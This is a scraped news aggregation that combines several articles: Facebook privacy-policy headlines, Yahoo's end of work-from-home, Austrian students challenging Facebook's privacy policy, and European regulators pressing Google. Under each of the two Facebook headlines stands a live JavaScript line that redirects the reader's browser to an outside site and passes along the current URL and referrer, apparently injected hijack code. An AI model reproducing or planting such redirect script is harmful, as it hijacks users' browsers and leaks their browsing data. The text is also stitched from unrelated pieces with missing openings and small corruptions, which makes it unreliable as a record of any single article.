Bits Blog: Facebook Delays New Privacy Policy

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits Blog: Facebook to Update Privacy Policy, but Adjusting Settings Is No Easier

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Yahoo Says New Policy Is Meant to Raise Morale

Parking lots and entire floors of cubicles were nearly empty because some employees were working as little as possible and leaving early.

Then there were the 200 or so people who had work-at-home arrangements. Although they collected Yahoo paychecks, some did little work for the company and a few had even begun their own start-ups on the side.

These were among the factors that led Ms. Mayer to announce last week that she was abolishing Yahoo’s work-from-home policy, saying that to create a new culture of innovation and collaboration at the company, employees had to report to work.

The announcement ignited a national debate over workplace flexibility — and within Yahoo has inspired much water cooler conversation and some concern.

But former and current Yahoo employees said that Ms. Mayer made the decision not as a referendum on working remotely, but to address problems particular to Yahoo. They painted a picture of a company where employees were aimless and morale was low, and a bloated bureaucracy had taken Yahoo out of competition with its more nimble rivals.

“In the tech world it was such a bummer to say you worked for Yahoo,” said a former senior employee who, like many Yahoo insiders, would speak only anonymously to preserve professional relationships. The employee added, “I’ve heard she wants to make Yahoo young and cool.”

Restoring Yahoo’s cool — from revitalizing behind-the-times products to reversing deteriorating morale and culture — is hard to do if people are not there, Ms. Mayer concluded. That view was reflected in Yahoo’s only statement on the work-at-home policy change: “This isn’t a broad industry view on working from home. This is about what is right for Yahoo, right now.”

Yahoo declined to comment further.

On Monday, another ailing company, Best Buy, announced that it, too, would no longer permit employees to work remotely, reversing one of the most permissive flexible workplace policies in the business world.

Inside Yahoo, there has been mixed reaction to the policy change. Some employees said that they were able to be highly productive by working remotely, and that it helped them concentrate on work instead of the chaos inside Yahoo.

Brandon Holley, former editor of Shine, Yahoo’s women’s site, said she built the site and signed on big-name advertisers while she and most of her team worked from homes across the country.

“It grew very rapidly,” said Ms. Holley, who is now editor of Lucky, Condé Nast’s shopping magazine. “A lot of that had to do with the lack of distraction in a very distracted company.”

The change to the work-at-home policy initially angered some employees who had such arrangements, and worried others who occasionally stayed home to care for a sick child or receive a delivery. Reports that Ms. Mayer built a nursery for her young son next to her office made parents working at Yahoo even angrier.

This week, the policy continued to be the topic of much discussion at the company, as people wondered aloud whether they would lose that flexibility, said employees who spoke anonymously because they were not authorized to speak to the media.

But for the most part, those employees said, those concerns have been eased by managers who assured them that the real targets of Yahoo’s memo were the approximately 200 employees who work from home full time.

One manager said he told his employees, “Be here when you can. Use your best judgment. But if you have to stay home for the cable guy or because your kid is sick, do it.”

Many of Yahoo’s problems are visible to people outside the company. It missed the two biggest trends on the Internet — social networking and mobile. Its home page and e-mail services had become relics used by people who had never bothered to change their habits. It ceded its crown as the biggest seller of display ads to Facebook and Google. Its stock price was plummeting.

Law Students in Austria Challenge Facebook Privacy Policy

The group, which calls itself Europe vs. Facebook, said it would begin collecting donations to challenge the policy in Ireland, where the company’s European business is incorporated. Max Schrems, an Austrian law student at the University of Vienna who organized the effort, said Facebook had no interest in adapting its service to meet stricter European privacy requirements.

“We have been pursing this for more than a year with Facebook, but the company has done only about 10 percent of what we had asked them to do,” said Mr. Schrems, 25. “Therefore, we are preparing to go to court.”

Facebook, in a statement, said its European privacy policy had been vetted and approved by Irish regulators and was in compliance with European law.

“The way Facebook Ireland handles personal data has been subject to thorough review by the Irish Data Protection Commissioner over the past year,” the company said. “Nonetheless, we have some vocal critics who will never be happy whatever we do and whatever the D.P.C. concludes.”

Mr. Schrems’s group, which he said was made up of about 10 students at the University of Vienna, filed 22 complaints in 2010 with the Office of the Data Protection Commissioner in Ireland, which regulates Facebook’s European business because it is incorporated there.

As a result of those complaints, the regulator conducted a public audit of Facebook’s privacy policies. In September it announced an agreement with the company that required, among other changes, that Facebook shorten the time it retained consumer data and refrain from building a photo archive on individuals without their prior consent.

But Mr. Schrems said in an interview that Facebook was still violating European law in many areas, including a requirement that Facebook provide users who request it with a full copy of all the data the company has collected on them. Mr. Schrems, a Facebook user since 2007, said he requested his own summary file from Facebook in 2010.

The company, whose global headquarters is in Menlo Park, California, responded by creating a self-service tool for users to extract the data, which Mr. Schrems said supplied him only with information going back to 2010. In addition, he alleged that Facebook’s privacy policy, which users are required to agree to before they can use the service, is too broad and violates European law.

“It is basically a collection of American legalese, which is intentionally vague and gives the company adequate leeway to do basically anything they want with your data,” Mr. Schrems said.

Thilo Weichert, the data protection supervisor for the German state of Schleswig-Holstein, which has also brought legal action against Facebook, said he supported the Austrian student group’s efforts.

“Facebook’s policy is much too vague and broad and does not conform with German or European law,” Mr. Weichert said in an interview. “We think that European privacy officials need to take common action on this.”

Mr. Weichert issued an administrative order in August 2011 that barred businesses in the state, which is located along Germany’s northern border with Denmark, from using Facebook’s social plug-ins like the Like button and Fan pages. The rationale for the order: Those applications collect information on users without their consent by inserting cookies, which track individual computers, through a user’s Web browser.

In November of last year, Mr. Weichert sued several local business organizations, including the state’s own Industrie- und Handelskammer, the equivalent of the local chamber of commerce, for creating their own fan pages on Facebook. The chamber and businesses that have not been identified have challenged that suit, which is pending in court in Kiel.

The privacy policies of Facebook, Google and some other U.S.-based Web companies have come under increasing criticism in Europe.

Europe Presses Google to Change Privacy Policy

In a letter to Google, the regulators stopped short of describing the company’s 10-month-old data collection policy as illegal. But it noted that Google did not appear to adhere to Europe’s approach to data collection, which requires explicit prior consent by individuals and that the data collected be kept at a minimum.

The regulators couched their requests as “practical recommendations.” But when asked what regulators would do if Google did not accede and make changes, Jacob Kohnstamm, head of the Dutch data protection authority, said national regulators probably would take legal action to compel changes.

“After all, enforcement is the name of the game,” Mr. Kohnstamm said.

The request was made at a news conference in Paris by the French regulator, known as CNIL, or the National Commission for Computing and Civil Liberties, which was enacted on behalf of all European data regulators.

Google announced the new policy in January, billing it as a way to streamline and simplify the privacy practices it employed worldwide across about 60 different online services, and to introduce greater clarity for users

Google informed customers of its services, which include Gmail, Google Maps and YouTube, of the changes until they took effect in March, requiring them to agree to them in order to access their accounts.

European regulators voiced their concerns almost immediately and CNIL conducted an inquiry that lasted semonths.

Isabelle Falque-Pierrotin, the chairwoman of CNIL, said her agency was giving Google “three to four months” to respond to its concerns.

“If Google does not implement these recommendations, we will pass to a different phase, a phase of sanctions,” Ms. Falque-Pierrotin said.

Enforcement of privacy law in Europe remains a matter for national regulators. In France, CNIL has the legal ability to fine companies as much as €300,000, or about $390,000, for privacy breaches. But it remains unclear whether CNIL will levy a fine and whether other E.U. countries follow suit.

Google said in a statement that it believed that what it calls its privacy policy was legal.

“We have received the report and are reviewing it now,” Peter Fleischer, the Google global privacy counsel, said in the statement. “Our new privacy policy demonstrates our longstanding commitment to protecting our users’ information and creating great products. We are confident that our privacy notices respect European law.”

If adopted, the recommendations could have consequences on some of Google’s main businesses, which depend on consumer profiling for the targeting of advertising.

Jeff Gould, the president of SafeGov, a group based in San Francisco representing companies that sell software and hardware to governments, said Google’s privacy policy is very similar to that used by Microsoft and Facebook.

“Their approach is that we can take anything we learn from you from our services to build a profile of a user to serve targeted ads,” Mr. Gould said in an interview. “My view is that is a completely legitimate model if you give the consumer the opportunity to opt out.”

Google’s current privacy policy requires users to accept it before being able to use the full range of services, Mr. Gould said.

“The Europeans want Google to ask the user to give their consent explicitly and on a much more specific level, to permit the collection of data for targeted ads.”

“If Google did that responsibly, I don’t think it would kill their business,” Mr. Gould said. “But that is the 64,000 Terabyte question.”

In the letter sent to Google, the European data regulators said Google’s new policy allowed the company to “combine almost any data from any services for any purpose.”

“Google did not set any limits to the combination of data nor provide clear and comprehensive tools allowing its users to control it,” the letter said.

The regulators also noted that Google failed to tell the French investigators how long it kept certain kinds of data, despite being asked to.

The group asked Google to make several specific changes to give consumers more awareness and control over their data, including an interactive online presentation of how the data is used.